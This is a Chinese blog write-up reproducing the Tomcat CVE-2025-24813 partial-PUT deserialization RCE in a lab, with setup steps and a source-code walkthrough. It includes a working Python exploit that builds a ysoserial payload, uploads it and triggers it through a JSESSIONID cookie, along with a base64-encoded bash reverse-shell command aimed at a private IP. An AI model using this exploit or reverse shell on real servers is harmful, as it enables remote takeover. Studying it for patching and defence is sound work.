CVE-2025-24813 RCE复现

CVE-2025-24813 RCE复现

参考文章:

Tomcat RCE(CVE-2025-24813)复现_cve-2025-24813 复现-CSDN博客

CVE-2025-24813 RCE复现 - FreeBuf网络安全行业门户

CVE-2025-24813 Tomcat RCE 分析复现 (meteorkai.top)

漏洞影响范围

漏洞影响范围

  • 9.0.0.M1 <= Apache Tomcat <= 9.0.98
  • 10.1.0-M1 <= Apache Tomcat <= 10.1.34
  • 11.0.0-M1 <= Apache Tomcat <= 11.0.2

漏洞利用条件

  1. DefaultServlet 写入功能启用:需要在web.xml中配置readonly=false
  2. PartialPUT请求支持:tomcat中默认支持分块上传
  3. 文件会话持久化启用:在 context.xml 中配置 PersistentManager 和 FileStore
  4. 存在反序列化的利用链:需要包含漏洞的库(这里使用commons-collections-3.2.1.jar)

漏洞原理

  1. Tomcat中文件会话持久化技术,Content-Range在Tomcat的HTTP PUT请求中主要实现用于大文件的分块传输,在文件上传未完成的情况下,会被临时储存在Tomcat的工作目录下CATALINA_BASE/work/Catalina/localhost/ROOT
  2. 漏洞核心在于:对不完整的PUT请求上传的文件名处理机制:文件路径中的分隔符/会被转化为.。例如:对于PUT请求的路径/evil/session会被解析为.evil.session
  3. Tomcat的File会话存储默认路径同样位于:CATALINA_BASE/work/Catalina/localhost/ROOT,在Cookie中带有JSESSIONID字段时,Tomcat会将该字段中的.id.session拼接,并从会话存储路径中寻找文件名为.id.session的文件,对该文件的内容进行反序列化操作,从而触发攻击链

漏洞利用过程

  1. 当存在反序列化利用链时,上传包含恶意的序列化数据文件(临时存储在CATALINA_BASE/work/Catalina/localhost/ROOT
  2. 通过设置JSESSIONID=.xxxx来触发漏洞(位置也在CATALINA_BASE/work/Catalina/localhost/ROOT

环境搭建

  • 新建一个对应的tomcat项目

  • 启用DefaultServlet写入

    conf/web.xml中,将DefaultServlet的readonly配置为false(默认true),启用写入功能:

    1
    2
    3
    4
    <init-param>
    <param-name>readonly</param-name>
    <param-value>false</param-value>
    </init-param>
  • 启用文件会话持久化并使用默认的会话存储位置

    conf/context.xml中,添加如下配置,开启File文件会话存储:

    1
    2
    3
    <Manager className="org.apache.catalina.session.PersistentManager">
    <Store className="org.apache.catalina.session.FileStore"/>
    </Manager>

漏洞复现

  • 尝试过使用burpsuit和yakit发送数据包,发现都不成功,也有发送的文件文件名被重写保存在/tomcat文件下,尝试后发现只有使用python写脚本发包能够正常保存.session文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    import os
    import subprocess
    import requests

    target = "http://172.31.80.1:8080/poc/session"
    target_poc = "http://172.31.80.1:8080/"

    # ysoserial.jar 文件路径
    fp = 'D:\java漏洞利用\ysoserial-all.jar'

    gadget = "CommonsCollections5"
    linux_rshell = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjguMTMyLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}"
    linux_cmd = "touch /tmp/success"
    win_cmd = "calc"

    command = win_cmd

    if not os.path.exists(fp):
    raise Exception('jar file not found')
    popen = subprocess.Popen(['java','-jar',fp,gadget,command],
    stdout=subprocess.PIPE)

    file_body = popen.stdout.read()

    headers = {
    'Content-Length': '3000',
    'Content-Range': 'bytes 0-3000/3200'
    }
    response = requests.put(target, data=file_body, headers=headers, timeout=10)
    # print(response.text)

    input("Press Enter to continue...")

    response = requests.get(target_poc, cookies={'JSESSIONID':'.poc'}, timeout=10)
  • 在Catalina/localhost/ROOT/org/apache/jsp路径下,可以看到成功上传了带有恶意序列化数据的文件

    但是并未弹出计算器,显示服务器内部出错

  • 分析后发现是导入tomcat的jar包时出现一些问题,jar包未导入库中,原因未知

源代码分析

  • jar包导入时出现了问题,没有继续调试了,只看了文章

  • 临时文件创建源码

    1
    2
    3
    4
    5
    6
    7
    doPut(DefaultServlet)->executePartialPut
    条件:
    1.readOnly=false
    2.Content-Range合法
    executePartialPut方法核心控制:
    将一个path中的/替换为.后当作文件名,然后写入到工作目录下的ROOT路径下的.poc.session中
    走到return contentFile时,的恶意文件已经写好
  • 反序列化漏洞触发过程

    1
    2
    3
    4
    触发点:load方法(其中的特殊函数:ObjectInputStream 反序列化漏洞的特殊函数)
    ->file方法(接受Cookie中的id,然后与.session拼接起来,然后将文件名为.poc.session的File类型的属性返回回去)
    ->FileInpuStream(将文件内容以字节流的方式读出)
    ->readObject(进行反序列化,触发构造的攻击链)

问题解决

  • 从磁盘导入jdk时一直显示不是jdk有效路径

    解决:更改jdk安装路径时必须将新文件夹命名为jdk1.8.0_版本,否则IDEA无法识别


CVE-2025-24813 RCE复现
http://huang-d1.github.io/2025/06/19/CVE-2025-24813 RCE复现/
作者
huangdi
发布于
2025年6月19日
许可协议